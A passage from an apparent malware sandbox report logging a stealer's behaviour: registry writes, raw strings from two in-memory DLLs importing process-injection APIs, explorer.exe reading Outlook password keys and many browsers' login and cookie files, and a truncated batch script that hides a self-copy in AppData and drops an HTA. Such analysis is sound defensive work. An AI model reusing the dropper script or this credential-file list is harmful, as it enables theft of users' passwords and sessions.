"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")5b:T668,Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PEL\Mi!# @ @#S@` H.text `.rsrc@@@.reloc` @B#HX @( *BSJBv4.0.30319l@#~,#Strings#US#GUIDP#BlobG %3 <5ll! C QP \ bdfbdfhj\\!\# \.(.1,wdkx4uyy.dllFURNITUREPhilosophymscorlibSystemObjectheHCzh9vj9AHfViYpW4Vd6q.ctorabcdeSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributewdkx4uyySystem.Runtime.InteropServicesDllImportAttributekernel32OpenProcessVirtualAllocEx YB3:Bz\V4 TWrapNonExceptionThrows## #_CorDllMainmscoree.dll% 0HX@LL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0,FileDescription 0FileVersion0.0.0.0< InternalNamewdkx4uyy.dll(LegalCopyright D OriginalFilenamewdkx4uyy.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0 3" Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PELpMi!$ @ @4$W@` H.text `.rsrc@@@.reloc`@Bp$HX ( *BSJBv4.0.30319l#~`#Stringsd#USl#GUID|`#BlobG %3 >7z z# E R \ P f)lnprtlnprtvxlnprtf)f-!f))f2 f).7.@ )ubgrkq2f.dllrecognitionPhilosophymscorlibSystemObjecthe0ffl9Uib52pq15AQB5ZzWm1tcsrs.ctorabcdefgSystem.Runtime.InteropServicesOutAttributeSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeubgrkq2fDllImportAttributekernel32WriteProcessMemoryCreateRemoteThreadVirtualProtectEx nF b*"z\V4 TWrapNonExceptionThrows\$~$ p$_CorDllMainmscoree.dll% 0HX@LL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0 FileDescription 0FileVersion0.0.0.0< InternalNameubgrkq2f.dll(LegalCopyright D OriginalFilenameubgrkq2f.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0 4"5c:T148d,"explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP EMAIL ADDRESS") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP SERVER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 SERVER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER NAME") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER NAME") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP EMAIL ADDRESS") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP USER NAME") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP SERVER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP SERVER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER NAME") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "EMAIL") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP USER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP SERVER URL") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL USER NAME") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL SERVER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD2") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD2") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD2") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD2") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD2") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP EMAIL ADDRESS") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP SERVER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 SERVER") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 USER NAME") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP USER NAME") "explorer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "NNTP EMAIL ADDRESS")5d:Td27,"explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\CHROME SXS\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 1" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AMIGO\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KOMETA\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAIL.RU\ATOM\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SLIMJET\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360CHROME\CHROME\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360BROWSER\BROWSER\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAXTHON3\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\MAXTHON5\USERS" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAXTHON\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TENCENT\QQBROWSER\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\K-MELON\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\XPOM\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\XVAST\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GO!\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SPUTNIK\SPUTNIK\USER DATA" "explorer.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA"5e:T443,file/memory contains long string with (Indicator: "LE=%RANDOM% + %RANDOM%set VICTORY=%COMPUTERNAME%if exist %TEMP% set white=1set /a soup=%RANDOM% %% 100set /a NARROW=%RANDOM% + %RANDOM%set Origin=%COMPUTERNAME%if not exist "%APPDATA%\Microsoft\Windows\Templates" mkdir "%APPDATA%\Microsoft\Windows\Templates" >nul 2>&1copy /Y "%~f0" "%APPDATA%\Microsoft\Windows\Templates\TREATMENT.cmd" >nul 2>&1attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\TREATMENT.cmd" >nul 2>&1if not exist "%APPDATA%\Microsoft\Windows\Templates" mkdir "%APPDATA%\Microsoft\Windows\Templates" >nul 2>&1set hta_p=%APPDATA%\Microsoft\Windows\Templates\Together.hta(echo ^^^